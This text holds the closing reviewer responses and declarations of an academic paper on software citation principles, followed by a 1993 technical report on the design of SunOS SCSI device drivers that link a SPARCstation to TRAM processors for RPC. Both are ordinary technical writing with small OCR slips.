static archived version, and in which the virtual machine? In this way software is very much a unique evolving research object and might not fit perfectly into the same citation practices and structure as other research objects. In addition, software citation could possibly occur within the virtual machine. This could be added as a use case. Our response: We feel this has been addressed in Section 5.8, with the explicit addition of virtual machines in addition to executables and containers. This is also an issue that should be addressed further by the follow-on implementation working group. On persistence of identifier vs. persistence of software The persistence principle outlined in (4) is a key element in making software citeable. Where software has become part of the record of science not only the identifier and metadata of the software should be persistent, it should also be the goal to keep a persistent copy of the source code, where applicable. This links with the accessibility principle (5). There are still many open questions about how to resolve package dependencies in the long term, therefore I would not make the persistent access to code a hard requirement but may add something more specific towards preserving the record of science. **Our response:** Our goal is for software citations to point to (persistent) archived source code, but we are not—nor could we—require this. **Granularity of the citation** One of the key issues with any citation, whether document, individual, or software is the specificity of what is being cited. In the case of publications, there is almost zero specificity most of the time. It’s very easy to cite an entire package even though one function was used. Part of this problem is being solved in the Python world through this project ([https://github.com/duecredit/duecredit](https://github.com/duecredit/duecredit)). Any citation should have the ability to specify more than just the obvious, but even the obvious would be a good starting point. The citation/url should therefore allow for greater specificity within a code base. In general though, a provenance record of the workflow would be significantly more useful than a citation from a research perspective. **Our response:** We agree that greater specificity is desirable in some cases, but we do not believe this rises to the level of what should be specified or discussed in the principles at this time. "**Software citations should permit . . . access to the software itself**" Under the “Access” header, the data declaration states that: Data citations should facilitate access to the data themselves. Under the same header, the software declaration states: Software citations should permit and facilitate access to the software itself. The addition of “permit” suggests that software citations should also grant the user with permission to access the software. Is this intentional? It doesn’t seem like a good idea to make access a requirement for discovery, so “permit” might not be helpful in this sentence. **Our response:** To avoid confusion, we removed “permit and” from the accessibility principle. **Access to software: free vs commercial** The section talks about software that is “free” as well as “commercial” software. I am not sure whether this is about free as in freedom (or just gratis or freely available), since it is compared with commercial software, which is unrelated in general, see [http://www.gnu.org/philosophy/words-to-avoid.html#Commercial](http://www.gnu.org/philosophy/words-to-avoid.html#Commercial). I suppose that “free” should be replaced by “gratis” and “commercial” be replaced by “non-free” in that section. **Our response:** We think this is sufficiently clear as written. ACKNOWLEDGEMENTS While D. S. Katz prepared this material while employed at the NSF, any opinion, finding, and conclusions or recommendations expressed in this material are those of the authors and do not necessarily reflect the views of the NSF. ADDITIONAL INFORMATION AND DECLARATIONS Funding Work by D. S. Katz was supported by the National Science Foundation (NSF) while working at the Foundation. Work by K. E. Niemeyer was supported in part by the NSF under grant ACI-1535065. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Grant Disclosures The following grant information was disclosed by the authors: NSF: ACI-1535065. Competing Interests Arfon M. Smith is an employee of GitHub, Inc., San Francisco, California. Author Contributions - Arfon M. Smith wrote the paper, prepared figures and/or tables, reviewed drafts of the paper. - Daniel S. Katz wrote the paper, prepared figures and/or tables, reviewed drafts of the paper. - Kyle E. Niemeyer wrote the paper, prepared figures and/or tables, reviewed drafts of the paper. Data Deposition The following information was supplied regarding data availability: The research in this article did not generate, collect or analyse any raw data or code. REFERENCES
{"Source-Url": "https://www.research.ed.ac.uk/portal/files/28065203/peerj_cs_86.pdf", "len_cl100k_base": 15457, "olmocr-version": "0.1.53", "pdf-total-pages": 32, "total-fallback-pages": 0, "total-input-tokens": 74897, "total-output-tokens": 20572, "length": "2e13", "weborganizer": {"__label__adult": 0.00036072731018066406, "__label__art_design": 0.0008292198181152344, "__label__crime_law": 0.0005259513854980469, "__label__education_jobs": 0.00943756103515625, "__label__entertainment": 0.00016307830810546875, "__label__fashion_beauty": 0.00018846988677978516, "__label__finance_business": 0.0011014938354492188, "__label__food_dining": 0.0002722740173339844, "__label__games": 0.000949382781982422, "__label__hardware": 0.0006270408630371094, "__label__health": 0.000331878662109375, "__label__history": 0.0004668235778808594, "__label__home_hobbies": 0.0001766681671142578, "__label__industrial": 0.00024437904357910156, "__label__literature": 0.0006413459777832031, "__label__politics": 0.0002906322479248047, "__label__religion": 0.00035071372985839844, "__label__science_tech": 0.0274200439453125, "__label__social_life": 0.0002605915069580078, "__label__software": 0.08123779296875, "__label__software_dev": 0.87353515625, "__label__sports_fitness": 0.00023245811462402344, "__label__transportation": 0.00035572052001953125, "__label__travel": 0.00024235248565673828}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 86611, 0.01346]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 86611, 0.51067]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 86611, 0.87807]], "google_gemma-3-12b-it_contains_pii": [[0, 1216, false], [1216, 4098, null], [4098, 7594, null], [7594, 9932, null], [9932, 13273, null], [13273, 16040, null], [16040, 20918, null], [20918, 24002, null], [24002, 27449, null], [27449, 30488, null], [30488, 33765, null], [33765, 36846, null], [36846, 39859, null], [39859, 43018, null], [43018, 45525, null], [45525, 47141, null], [47141, 48841, null], [48841, 50968, null], [50968, 53113, null], [53113, 54775, null], [54775, 57146, null], [57146, 59258, null], [59258, 61318, null], [61318, 63605, null], [63605, 66552, null], [66552, 69433, null], [69433, 72399, null], [72399, 74984, null], [74984, 77185, null], [77185, 80330, null], [80330, 84081, null], [84081, 86611, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1216, true], [1216, 4098, null], [4098, 7594, null], [7594, 9932, null], [9932, 13273, null], [13273, 16040, null], [16040, 20918, null], [20918, 24002, null], [24002, 27449, null], [27449, 30488, null], [30488, 33765, null], [33765, 36846, null], [36846, 39859, null], [39859, 43018, null], [43018, 45525, null], [45525, 47141, null], [47141, 48841, null], [48841, 50968, null], [50968, 53113, null], [53113, 54775, null], [54775, 57146, null], [57146, 59258, null], [59258, 61318, null], [61318, 63605, null], [63605, 66552, null], [66552, 69433, null], [69433, 72399, null], [72399, 74984, null], [74984, 77185, null], [77185, 80330, null], [80330, 84081, null], [84081, 86611, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 86611, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 86611, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 86611, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 86611, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 86611, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 86611, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 86611, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 86611, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 86611, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 86611, null]], "pdf_page_numbers": [[0, 1216, 1], [1216, 4098, 2], [4098, 7594, 3], [7594, 9932, 4], [9932, 13273, 5], [13273, 16040, 6], [16040, 20918, 7], [20918, 24002, 8], [24002, 27449, 9], [27449, 30488, 10], [30488, 33765, 11], [33765, 36846, 12], [36846, 39859, 13], [39859, 43018, 14], [43018, 45525, 15], [45525, 47141, 16], [47141, 48841, 17], [48841, 50968, 18], [50968, 53113, 19], [53113, 54775, 20], [54775, 57146, 21], [57146, 59258, 22], [59258, 61318, 23], [61318, 63605, 24], [63605, 66552, 25], [66552, 69433, 26], [69433, 72399, 27], [72399, 74984, 28], [74984, 77185, 29], [77185, 80330, 30], [80330, 84081, 31], [84081, 86611, 32]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 86611, 0.03704]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
eeaad281851e9bd6c015c4be7e2e26958725c909
The Design and Implementation of the RPC Device Drivers Ian A Penny (email: iap@ukc.ac.uk) 16th December 1993 1 Overview The RPC project group is investigating high performance communication network interface structures which are compatible with existing operating systems, in this instance SunOS 4.1 Unix. The use of parallel processing in the marshalling and unmarshalling of RPC arguments together with direct I/O to and from the user’s data area and early scheduling of user processes, are expected to give a higher throughput than more traditional implementations. The network front end comprises PC based TRAM’s. The Unix machine is a Sun SPARC1+ running SunOS 4.1.3. The interconnection between the two systems is by the SCSI bus. To implement this structure requires a kernel device driver to act as a bridge between the Unix environment on the SPARC station and the TRAM’s in the PC. 2 The Kernel The structure of a device driver is closely tied to the run time structure of the Unix kernel. A short description of the essentials is given here to provide background before the structure of SCSI device drivers is discussed. The kernel is divided into a top half and a bottom half. The top half of the kernel provides services to applications in response to system calls or traps. The top half of the kernel executes in a privileged execution mode in which it has access to both kernel memory and the context in which the user process is executing, its user area or u dot structure. The bottom half of the kernel contains the routines that are invoked to handle hardware interrupts and traps that are not related to the current process. These interrupts may be delivered by hardware devices such as a real-time clock or I/O device. Activities in the bottom half of the kernel occur asynchronously and cannot rely on having a specific process executing at the time of interrupt. Whilst executing the code for a system call the kernel is never preempted, it must either run to completion or voluntarily give up the processor to wait for a resource. It may, however, be interrupted by activities in the bottom half of the kernel. The top half may block entry into routines in the bottom half of the kernel by setting the processor priority level to a value which blocks out the appropriate interrupts. 3 Sun Common SCSI Architecture The SCSA provides a library of support routines for the transmission of SCSI commands from a Target driver\(^1\) to a Host Adapter driver\(^2\). The interface is independent of the host adapter hardware being used, and the SCSI command set being transported. The SCSA separates those functions related to SCSI protocol management, which are included in the Host Adapter Driver, from the functions related to SCSI command content, which are included in the Target Driver. 4 SCSI Character Device Drivers Unix supports access to a hardware device through either the block or character interface. Block oriented device interfaces use the buffer cache which resides in the kernel’s address space. All I/O operations are block oriented and done to or from these kernel buffers. This approach requires at least one memory-to-memory copy to satisfy a user request. Character oriented device interfaces have one of two styles, depending on the characteristics of the underlying hardware. For block oriented devices such as a disk, a character device interface may provide unstructured or raw access to the device. True character devices provide a byte stream oriented interface. A processor device, such as the SCSI Tram, requires this type of interface because it is not limited to sending or receiving fixed size blocks of data. Classically any device driver has three major sections. 1. Autoconfiguration and Initialization routines. 2. Routines for servicing I/O requests. \(^1\) A Target driver is responsible for the generation of SCSI commands and interpretation of data arising from the transmission of such commands. \(^2\) The Host Adapter driver is responsible for the management of the SCSI protocol chip and DMA resources, together with virtual address mapping. 3. Routines for servicing interrupts. 4.1 Autoconfiguration Process The autoconfiguration of the driver takes place when the system is initialized. It is responsible for determining if a hardware device is present and to initialize both the device, and any software state associated with it. For SCSI device drivers the autoconfiguration process proceeds as follows. The host adapter is configured prior to any search for target drivers. Once the host adapter is configured it is required to call a SCSA routine `scsi_config()` which identifies it to the SCSA library. `scsi_config` then traverses the `config(8)` generated array of `scsi_conf` structures looking for target devices which have been declared to exist on a SCSI bus connected to this adapter. For each match, a `scsi_device` structure is generated and the appropriate target drivers `slave()` routine is called with the `scsi_device` structure as its argument. A target driver’s `slave()` routine is responsible for validating the presence of the hardware. It should return 0 for failure or 1 for success, and set the `sd_present` field of the `scsi_device` to reflect the presence of the device. If the `slave()` routine returns 1 and the `sd_present` field is set then the SCSA library will call the target driver’s `attach` routine. The `attach` routine must decide whether the addressed hardware is ready for service. For systems with openproms, the semantics of the `dev_info` structure state that a device is considered present when the `devi_driver` field is initialized to point to the device’s `dev_ops` structure. The SCSA implementation requires that this be filled in the same time as the `sd_present` field. 4.1.1 `dev_ops` structure The `dev_ops` structure is designed to identify the entry points to a device driver, it is however largely redundant with the `cdevsw` and `bdevsw` structures. The paragraphs below describe the relevant fields of the structure. The other elements of the `dev_ops` structure do not need to be initialized as they are unused under the present implementation. `devorev` The device driver revision level, which must be set to one when programming for SunOS 4.1. Under revision level one, the only valid elements of the `dev_ops` structure are the `identify` and `attach` routines. `devoidentify` The function of the `identify` routine is to determine if this driver works with the device. For drivers which do not occupy a physical slot on the SBus, such as a SCSI target driver, no `identify` routine needs to be declared. Instead the target drivers `slave` routine must be declared to check the devices availability. `devoundentify` For a SCSI target driver the `attach` routine has two main responsibilities. 1. To allocate any state memory (data structures) the device driver needs in order to function. This keeps the size of the object files and, more importantly, the kernel to a minimum if the device is not present. 2. To perform any device initialization needed. The `attach` routines of drivers which occupy a physical slot, such as the host adapter, have more responsibilities than just these two. 4.2 The Top Half. The top half of the driver is responsible for servicing I/O requests, as a result of a system call or on behalf of the virtual memory system. It executes synchronously in the top half of the kernel and is permitted to block by calling `sleep()`. 4.2.1 Entry Points. Device drivers are connected to the rest of the kernel by the entry points recorded in the array for their class, their use of a common buffering system, and their use of low level hardware support routines. For character devices the array of entry points consists of `cdevsw` structures, the array is declared in `/usr/src/sys/sun/conf.c` and the structure in `/usr/src/sys/sys/conf.h`. To index into this array each device is distinguished by a `major device number`. A device’s `minor device number` is interpreted at the driver level, and is hence unimportant at this stage. The relevant fields of the `cdevsw` structure are described below. **open** Prepare the device for I/O operations. This routine will be called for each `open` system call on a character special device file. Typically it should validate the `minor device number` and do other device specific error checking, such as ensuring the device was identified correctly in the autoconfiguration phase. If there are no errors it should then proceed to initialize the device, allocating any resources which are needed on a per-minor device basis, and wait for the device to come online. **close** Shutdown the device. This routine is called when the last client using the device either explicitly calls the `close` system call, or terminates. Consequently it must clean up for all clients which have had the device open, typically releasing or unlocking any resources which were used by the device and indicate that data cannot be transferred until the device has been reopened. **read** Read data from the device. A read request requires that the driver copy the data from the device to the application’s virtual address space. It must check that the `minor device number` passed to it is within its range, but subsequent actions are dependent on the type of device. **write** Write data to the device. This entry point is similar to the **read** routine except the direction of data flow is reversed. **ioctl** Perform an operation other than a read or write. These operations differ for each type of device, but can provide a means for setting device parameters and for checking the status of a device. This entry point is intended to implement any commands which are not covered by the rest of the device-driver entry points. **select** Check the device to see if any data is available for reading, or space is available for writing. This entry point is used by the `select` system call to check file descriptors associated with this device. The driver must maintain a local per-device structure that can associate a process with each device, and keep track of state information to enable this check to be made. **mmap** Map a device’s contents into memory. This entry point is used by the `mmap()` system call to provide page table entry (PTE) information about pages of the device’s memory. This information is needed by the kernel to map the page to a virtual address. 4.2.2 Typical Operation When an I/O request is received by the Target Driver it must prepare a SCSI command that, when passed to the Target Device, will perform the desired function. There is a relatively simple sequence of events which must be performed in order for the transfer to take place. 1. Target Driver executes functions to obtain a block of memory. 2. Target Driver fills in the blanks in the block of memory to describe the command for the host adapter. 3. Target Driver calls Host Adapter Driver functions to obtain the other resources necessary to execute the desired command. 4. Host Adapter Driver manages the resources and can either allocate them now or later at its discretion. 5. Target Driver passes the descriptive information to the Host Adapter Driver using the transport function. 6. Target Driver is free to prepare other SCSI commands for the same target and for other attached targets. Figure 2 illustrates this sequence with the function names of the routines used by the Target Driver to request resources from the Host Adapter Driver. There are two separate ways to allocate resources for a command requiring a DMA transfer. The first is to allocate all the resources at one go using `scsi_resalloc` this allocates not only the `scsi_pkt` but also the DMA resources required to perform the transfer. The second way to perform this allocation is to call `scsi_pktalloc`, this routine allocates the necessary `scsi_pkt` but does not allocate any DMA resources for it. Subsequently the Target Driver may call `scsi_dmaget` to promote the command to one with associated DMA resources. It is usual for a Target Driver to allocate a request sense packet in the autoconfiguration phase, this packet may then be used in response to error conditions without the need to go through resource allocation again. ### 4.3 The Bottom Half. The bottom half of the driver consists of the routines for servicing interrupts. These routines execute in the bottom half of the kernel and as a consequence cannot rely on any per-process state and cannot block by calling the `sleep()` routine. The two halves of the driver communicate by using I/O queues. When an I/O request is received by the top half of the driver it must record the command on a per-device queue for processing. When a command completes the target driver will receive an interrupt from the host adapter. The interrupt service routine must notify the requester that the command has completed and then initiate a new command from the device’s queue. The I/O queue is the primary means of communication between the top and bottom halves of a target driver. As the I/O queues are shared by the two halves of the driver, access to them must be protected. The top half of the driver must raise the priority level of the processor, by using `splx()`, to prevent the bottom half of the driver from being entered whilst the top half is manipulating the queues. ### 4.3.1 Typical Operation When the command has completed successfully or unsuccessfully, the Host Adapter Driver is responsible for calling the completion routine of the Target Driver. The sequence of steps involved are described below. 1. Host Adapter Driver fills in remaining status information in allocated memory area. 2. Host Adapter Driver calls the Target Drivers completion routine. 3. Host Adapter Driver is no longer responsible for the command. 4. Target Driver analyses the returned status information. 5. Target Driver requests that the Host Adapter Driver releases the resources allocated for this command. 6. Target Driver notifies the process that originally requested the transaction that it is complete. 5 UKC RPC Drivers Having dealt with the general case Target Drivers the rest of this document concentrates on the RPC Target Drivers, their structure and operation. 5.1 Structure The RPC project calls for a kernel device driver to act as a link between the Unix environment on the SPARCstations and the parallel processing environment of the TRAM’s. The driver is required to perform two tasks, the first is to provide multiple RPC interfaces to the application environment. The second is to communicate with the scsi TRAM. This suggests using two drivers, a multiplexor and a SCSI Link Driver. The RPC Multiplexor provides a number of character-special devices, each one offering an autonomous RPC slot. The limit on the number of these devices is 256 as minor(dev) is 8 bits. It multiplexes these RPC interfaces onto the link provided by the SCSI Link Driver. It is the multiplexors responsibility to match up outbound RPC’s with their replies, and provide a system call interface for user processes. The RPC Link Driver provides an asynchronous send / receive interface across the SCSI bus to the TRAM. This interface should provide reliable delivery of the commands to the TRAM, the multiplexor is informed only when writes complete or network input has arrived. 5.2 Autoconfiguration Process The RPC Multiplexor does not need to go through autoconfiguration as it does not have any associated hardware. The resources it needs are assigned when the first open system call is processed, see description of open entry point. The RPC Link Driver must determine if the TRAM is present and running the RPC Tram Driver. Its autoconfiguration process proceeds as follows: `ukcsslave` is called once the host adapter has been configured. It calls `scsi_slave()` which sends a TEST UNIT READY to the Target/Lun address for this device. If this succeeds it will send an INQUIRY command. If the inquiry succeeds then the `sd_inq` field in the device structure will be filled in. `ukcsslave` then examines the device type to ensure it is a processor and attempts to match the vendor and product identifiers with those returned by the RPC Tram Driver. If any of the steps of the `scsi_slave` routine fail, or `ukcsslave` cannot match up the device type and vendor/product identifiers with those of the RPC Tram Driver then it will return 0, indicating to the host adapter that the hardware failed the autoconfiguration process. At this point the Link Driver has determined that the unit is present and that it is executing the code for the RPC Tram Driver. The next step is to allocate a request sense packet, this is used if a SCSI command generates a CHECK CONDITION status. It is allocated here so that the Link Driver can transport a REQUEST SENSE command without the need to perform new allocations. When a command completes with a CHECK CONDITION, the Host Adapter Driver assumes that the next command transmitted to that Target/Lun will perform the recovery. The Target/Lun is frozen by the Host Adapter Driver until another packet is transmitted for that Target/Lun. The last stage is to allocate and fill in the Link Drivers private data structure for this Target/Lun. The `sd_present` field of the `scsi_device` is filled in to indicate that the device is present, and the `dev_ops` entry is filled in. `ukcsattach()` is called if `ukcsslave` returns 1 and the `sd_present` field is set. As `ukcsslave` has already allocated the private data structure for this Target/Lun, `ukcsattach` only needs to perform device initialization. If the driver state is NIL it marks it as CLOSED and prints the Target/Lun and the Vendor identifier. The last stage is to fill in the private data structure `un_attached` field to indicate that the device has been attached. The `ukcsattach` routine has far less to do than its counterparts in other scsi target drivers. This is because the real initialization of the device is done by the `ukct_setup` routine, which is called by the multiplexor open routine (see open entry point). ### 5.3 The Top Half. The following section deals with the top half of both the Multiplexor and Link driver. Although the Link driver does not provide a system call interface its routines are called by the Multiplexor in response to system calls and hence are classified as part of the top level. When an application emits an RPC request a fixed size structure is passed over the read/write system call interface. This structure describes the RPC request to the RPC drivers and the TRAM. The RPC drivers use an extended version of this user structure in order to keep track of the owning process and form the ioc queues. This extended version is passed across the SCSI bus to the TRAM, hence some of the fields of the structure have no meaning to the RPC drivers. These two structures are described below. #### 5.3.1 `ukcrpcmd_t` ```c typedef struct { int ur_cmd; /* command type */ caddr_t ur_ibp; /* input buffer addr */ int ur_ibytes; /* max/actual input length */ caddr_t ur_obp; /* output buffer addr */ int ur_obytes; /* max/actual output length */ } ukcrpcmd_t; ``` int ur_stag; /* RPC service number */ int ur_utag; /* chosen by user (client) */ int ur_ktag; /* chosen by kernel (server) */ } `ur_cmd` This field identifies the purpose of the RPC request, and is interpreted by the TRAM. The RPC drivers are designed as a bridge and hence have no knowledge of the implementation details of the RPC requests themselves. `ur_jbp` This identifies the client’s input buffer to the RPC drivers. The input buffer is “locked down” whilst the RPC request is in flight, allowing the RPC drivers to DMA directly to the input buffer. `ur_jbytes` When passed by the client to the RPC drivers, this field specifies the maximum amount of data that may be DMA-ed into the client’s input buffer. When passed by the RPC drivers to the client, this field specifies the actual amount of data which was DMA-ed into the client’s input buffer. `ur_obp` Analogous to `ur_jbp`, this field identifies the client’s output buffer to the RPC drivers. It is also locked down whilst the RPC request is in flight to allow DMA directly from the buffer. `ur_obbytes` This field specifies the maximum amount of data which can be DMA-ed from the client’s output buffer. `ur_stag` This field identifies which service the RPC request is destined for. A service handler is responsible for associating servers and clients, it does this through the service number (`ur_stag`) mechanism. `ur_utag` This field is unique to the RPC request and is chosen by the user. If a client has multiple requests outstanding and a reply returns it may use this field to determine which request has completed. `ur_ktag` This field is used by the kernel to match up RPC requests with their replies at the service handler level (see `ur_stag` above). It must be unique within the context of a service, but two different services may use the same kernel tag (`ur_ktag`). When a request or reply is received by a service handler, the service number identifies which service it is destined for and the kernel tag identifies it within that service. 5.3.2 `ukckcmd_t` typedef struct ukckcmd_node *ukckcmd_ptr; typedef struct ukckcmd_node { ukckcmd_ptr uc_next; /* Command Chain */ ukcrpc_ptr uc_uk; /* Back ptr to minor(dev) struct */ struct proc *uc_uproc; /* Owners proc table entry */ int uc_flag; /* Flags */ int uc_mtag; /* minor(dev) + uniqueness bits */ ukcrpccmd_t uc_rpccmd; /* User command */ } ukckcmd_t; `uc_next` This field identifies the next entry in the ioqueue. The RPC drivers ioqueue consists of a linked list of `ukckcmd_t` structures. `uc_uk` Used by the Multiplexor to identify which minor device (RPC slot) this command is associated with. Primarily this is used when the Link driver calls the Multiplexor completion routines for read or write, the command can then be queued on the minor device’s completion queue. **uc uproc** Required by the multiplexer to lock down the user’s input and output buffers. It is also required by some of the SCSA library support routines. **uc flag** This field may be used by the RPC drivers or TRAM to indicate any special activities which must be performed for this command. **uc mtag** If RPC replies arrive ‘late’ and the client has issued a close system call it is possible that another client has opened the slot with outstanding traffic. The **uc mtag** field protects clients from RPC traffic from a previous existence. **uc rpccmd** This holds a copy of the user’s **ukcrpccmd** for use by the RPC drivers. ### 5.3.3 Entry Points The Multiplexor implements a subset of the full character device entry points, its **cdevsw** entry is listed below. The Link driver does not have a **cdevsw** entry, as it does not implement any system call interface. The Link driver top level routines are accessed solely by the Multiplexor. ```c { xx_open, xx_close, xx_read, xx_write, xx_ioctl, xx_reset, xx_select, xx_mmap, (struct streamtab *)xx_str, xx_segmap, }, { ukcr_open, ukcr_close, ukcr_read, ukcr_write, /*105*/ nulldev, nulldev, ukcr_select, 0, 0, }, ``` **nulldev** is placed in insignificant entries in the **cdevsw** structure. These entries are not invalid, they are merely not configured. **nodev** should be placed in illegal entries in the **cdevsw** structure, it will return **ENODEV** if a process attempts to use the entry point. **ukcr_open** The responsibilities of the open entry point for the Multiplexor are extended to encompass the Link driver validation, as the Link driver has no open entry point. The RPC driver open process proceeds as follows; Upon the first open or subsequently after the Link driver has informed the Multiplexor that the TRAM has crashed, **ukcr init** will be called. **ukcr init** initializes the iqueue and fills in a structure containing pointers to the Multiplexor’s completion routines for reading and writing, and the reset routine. It passes this structure to the Link Driver by calling the **ukct_setup** routine. **ukct_setup** checks that the autoconfiguration process succeeded and sets up the logical send and receive channels to the TRAM. These channels are implemented by using two logical units at the same target. It will also interrogate the Host Adapter to see if it supports synchronous mode transfers and if so sets up the channels to use it. **ukct_setup** will send a TEST UNIT READY command to each logical unit to check they are both available, and allocate a command and data packet for each channel. Assuming no problems arise the Multiplexor completion structure is stored and a message will be printed to indicate that the channels have been activated. Once both channels have been initialized **ukct_setup** sends a read to the TRAM. The TRAM is expected to disconnect from the bus and reconnect when data becomes available. This allows the TRAM to interrupt the SPARCstation and provides a means of asynchronous communication down the SCSI bus. Once the read has been sent, **ukct_setup** fills in the Link Driver priority level so that the Multiplexor can block the Link Driver and returns. `ukcr_init` stores this priority before returning. If any errors occurred whilst trying to initialize the iqueue or validate the Link Driver then `ukcr_open` returns the error generated by the lower level routine. `ukcr_open` then ensures that the requested slot is not being used by anyone else, it will return `EBUSY` if this is the case. A process receiving `EBUSY` from an open is expected to increment the minor device number and reattempt the open. Because parts of the process area will be used for direct DMA it must not be swapped out, this is done by overloading the meaning of `SPHYSIO` in the process table entry. This does mean that physio on other devices is forbidden, but does allow the Multiplexor to regain control on exit before the user’s virtual machine is released. Because of this setting of process table entries the Multiplexor must ensure only the opener may use the slot. Children may inherit the file descriptor associated with an RPC slot from their parent, but they are forbidden to use it. `ukcr_close` The close entry point is responsible for shutting down the slot and tidying up. `ukcr_close` verifies that the device is open returning `ENXIO` if it is not. It must ensure that the process attempting the close is the one which opened the device. If it is not `ukcr_close` returns 0, indicating that the close was successful. In this case the Multiplexor will close the device when the “real” owner calls close. `ukcr_close` must attempt to deal with any outstanding commands. Any currently active DMA operation must be allowed to complete. Any commands on the write queue for the TRAM must be sent to ensure little or no traffic is lost. Any items on the read pending queue are placed on the read queue, from where the associated buffers are unlocked. The device state is cleared to indicate that it is closed. Once any commands have been dealt with `ukcr_close` checks to see if this was the last outstanding RPC slot open for this process. If it was then `SPHYSIO` is cleared in the process table entry. `ukcr_close` then returns. `ukcr_forceclose` is called from exec and exit and allows the user’s pages to be unlocked before the user’s virtual machine is discarded. It cycles through the valid minor device numbers, attempting to close each one. The behavior of `ukcr_close` ensures that the device will only be closed by the user process which called open. It then attempts to clear `SPHYSIO`. It will `panic()` the kernel should `SPHYSIO` not be set when it attempts to clear it. `ukcr_read` The read entry point reads a `ukcrpccmd` from the user and fills it in with the next command on the read queue. It ensures that the process has this slot open and that the correct number of bytes have been requested. If the Link Driver has reported that the TRAM has crashed then `UKF_TRAMDOWN` will be set, in this case any open RPC slots must be closed. Attempting to read from a slot whilst `UKF_TRAMDOWN` is set is considered an error. The next `ukckcmd` is taken off the read queue, if no commands are available `ukcr_read` will return `EWOULDBLOCK`. The users memory which was locked down for DMA is released and the user command is copied into the user supplied `ukcrpccmd`. The kernel command (`ukckcmd`) is placed on the free message list for reuse. `ukcr_write` The write entry point reads a `ukcrpccmd` from the user and transports it to the TRAM. It must ensure that the process has this slot open and that the correct number of bytes have been requested. As with the read entry point, if the TRAM has crashed any RPC slots must be closed. Attempting to write to a slot whilst `UKF_TRAMDOWN` is set is considered an error. `ukcr_write` gets a `ukckcmd` from the free list and clears it, if no commands are available `ukcr_write` will return `EWOULDBLOCK`. The user’s command is loaded into the kernel command structure and the user’s buffers are locked down to enable DMA transfers from/to them. The kernel command is placed on the tram write queue and the start routine (`ukcr_start`) is called. If the Link driver is not busy, _ukcr_start_ takes the first kernel command off the tram write queue and passes it to the Link driver by calling the routine _ukcr_wtram_. _Ukcr_wtram_ ensures that no work is outstanding and that the TRAM hasn’t crashed before it constructs two buf structures to describe the command to the low level SCSA routines. It links the second buf, containing the data to the first, containing the kernel command and places them on the send channel queue. It calls the routine _ukcsstart_ to begin the transfer. _Ukcsstart_ checks to see if resources have already been claimed for this transfer, if not it will call _ukcs_make_cmd_. _Ukcs_make_cmd_ calls the SCSA routine _scsi_dmaget_ to allocate the necessary DMA resources for this SCSI packet, and then uses the _MAKECOM (G0P3_ macro to create a SCSI command descriptor block. If resources were not available _ukcs_start_ marks this device as waiting for resources. The callback mechanism implemented by the SCSA will call the routine _ukcs_retry_ when resources “may” have become available. _Ukcs_retry_ just attempts to restart any devices waiting for resources. The SCSA requires that it must return 1 if it was either able to allocate resources or chose not to attempt it, else it must return 0. If resources were available _ukcs_start_ moves the command from the pending queue to the active queue and calls the SCSA routine _pkt_transport_ to transport the command. Once _pkt_transport_ returns the command is no longer the responsibility of the Link driver, the Host Adapter will call the Link driver completion routine _ukcsintr_ when it has completed the command or can proceed no further. Execution unwinds until _ukcr_write_ returns. _Ukcr_select_ The select entry point checks that the process has the requested device open and that the TRAM has not crashed. If there is data available in the case of a read select, or if data can be sent in the case of a write select, _ukcr_select_ will return 1. If a select has already blocked for this device and subsequently another select occurs which will also block, then the collision flag is set. _Ukcr_select_ will cause the process to be blocked, returning 0. --- **Figure 5**: Interaction between Multiplexor and Link Driver. ### 5.4 The Bottom Half. The bottom half of the Multiplexor is invoked by the Link driver when it has completed operations either successfully or unsuccessfully, on behalf of the Multiplexor or RPC traffic has been received from the TRAM. The bottom half of the Link driver is invoked by the Host Adapter driver when it has completed a scsi command on behalf of the Link driver, or resources have become available when the Link driver is blocked waiting for them. The latter case is described in the _ukcr_training_ macro. --- 3 This macro fills out many of the fields of a _scsikpt_ for group 0 commands that require the special bits associated with processor device types. entry point. In the former case, the host adapter interrupts the Link driver by calling the `ukcsintr` routine. It is the responsibility of `ukcsintr` to examine the status of the returned command and figure out what to do. ### 5.4.1 `ukcsintr()` The command completion routine `ukcsintr` begins by ensuring that the scsi packet is valid. Invalid packets are those that have requested a non-interrupting service, or that have no private data area or device associated with them. If the command is incomplete `ukcs_incomplete` is called. If the command was a request sense `ukcs_incomplete` will return `QUE_SENSE` if retrying it will not exceed the retry count. If the command was not a request sense `ukcs_incomplete` will return `QUE_COMMAND` if retrying it will not exceed the retry count. If the host adapter got the bus and the command cannot be retried then the target has not responded to selection, in which case `ukcs_shutdown` is called. `ukcs_shutdown` detaches both the send and receive channels and marks them as closed. It will call the Multiplexor’s reset routine via the setup structure it received in `ukct_setup` (see open entry point). The Multiplexor reset routine `ukcr_reset` places all pending writes onto the read pending queue, and flags all open slots that the tram has crashed (`UKF_TRAMDOWN`) the only operation which may be performed on such a slot is a close. `ukcs_shutdown` and `ukcs_incomplete` return. If the command was completed and the device is `SENSING` then `ukcs_handle_sense` is called, otherwise `ukcs_check_error` will be called. `ukcs_handle_sense` decodes and checks the information returned by a request sense. Based on the decoded information it may mark the command as done, or done but with errors or that it should be queued for retransmission. `ukcs_check_error` determines if any errors occurred on completed commands. If the command returned with a busy status then it 